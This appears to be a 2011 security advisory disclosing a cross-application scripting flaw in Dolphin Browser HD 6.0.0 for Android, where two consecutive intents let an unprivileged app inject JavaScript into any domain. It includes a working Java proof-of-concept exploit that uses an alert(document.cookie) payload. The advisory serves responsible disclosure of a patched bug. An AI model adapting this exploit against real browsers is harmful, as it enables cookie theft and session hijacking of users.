Dolphin Browser HD Cross-Application Scripting

A security advisory

Roee Hay <roeeh@il.ibm.com> - Yair Amit <yairam@gmail.com>
IBM Rational Application Security Research Group

August 10, 2011

1 Background

Android applications are executed in a sandbox environment, to ensure that no application can access sensitive information held by another, without adequate privileges. For example, the Dolphin browser application holds sensitive information such as cookies, cache and history, and this cannot be accessed by third-party apps. An android app may request specific privileges during its installation; if granted by the user, the app's capabilities are extended.

Intents are used by Android apps for intercommunication. These objects can be broadcast, passed to the `startActivity` call (when an application starts another activity), or passed to the `startService` call (when an application starts a service). Normally, when `startActivity` is called, the target activity's `onCreate` method is executed. However, under `AndroidManifest.xml` it is possible to define different launch tags, which affect this behavior. One example is the `singleTask` launch tag, which makes the activity act as a singleton. This affects the `startActivity` call: if the activity has already been started when the call is made, the activity's `onNewIntent` member function is called instead of its `onCreate` method.

2 Vulnerability

A 3^{rd} party application may exploit Dolphin Browser HD's URL loading process in order to inject JavaScript code into an arbitrary domain thus break Android's sandboxing. This can be done by sending two consecutive `startActivity` calls. The first call includes the attacked domain, and causes Dolphin Browser HD to load it, while the second call contains JavaScript code. the JavaScript URI will be opened under the current tab, i.e. the attacked domain.

3 Impact

By exploiting this vulnerability a malicious, non-privileged application may inject JavaScript code into the context of any domain; therefore, this vulnerability has the same implications as global XSS, albeit from an installed application rather than another website. Additionally, an application may install itself as a service, in order to inject JavaScript code from time to time into the currently opened tab, thus completely intercepting the user's browsing experience.

4 Proof-of-Concept

The following is a PoC for the second technique:

```
public class CasExploit extends Activity
{
    static final String mPackage = "mobi.mgeek.TunnyBrowser";
    static final String mClass =  "BrowserActivity";
    static final String mUrl = "http://target.domain/";
    static final String mJavascript = "alert(document.cookie)";
    static final int mSleep = 15000;
    @Override
    public void onCreate(Bundle savedInstanceState) {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.main);
          startBrowserActivity(mUrl);
          try {
              Thread.sleep(mSleep);
          }
          catch (InterruptedException e) {}
          startBrowserActivity("javascript:" + mJavascript);
    }
    private void startBrowserActivity(String url) {
          Intent res = new Intent("android.intent.action.VIEW");
          res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
          res.setData(Uri.parse(url));
          startActivity(res);
    }
}
```

5 Vulnerable versions

Dolphin Browser HD 6.0.0 has been found vulnerable.

6 Vendor Response

Dolphin Browser HD 6.1.0 has been released to Android Market, which incorporates a fix for this bug.

7 References

1. Android Browser Cross-Application Scripting (CVE-2011-2357):
   http://blog.watchfire.com/files/advisory-android-browser.pdf

8 Acknowledgments

We would like to thank the Dolphin Browser team for the efficient and quick way in which they handled this security issue.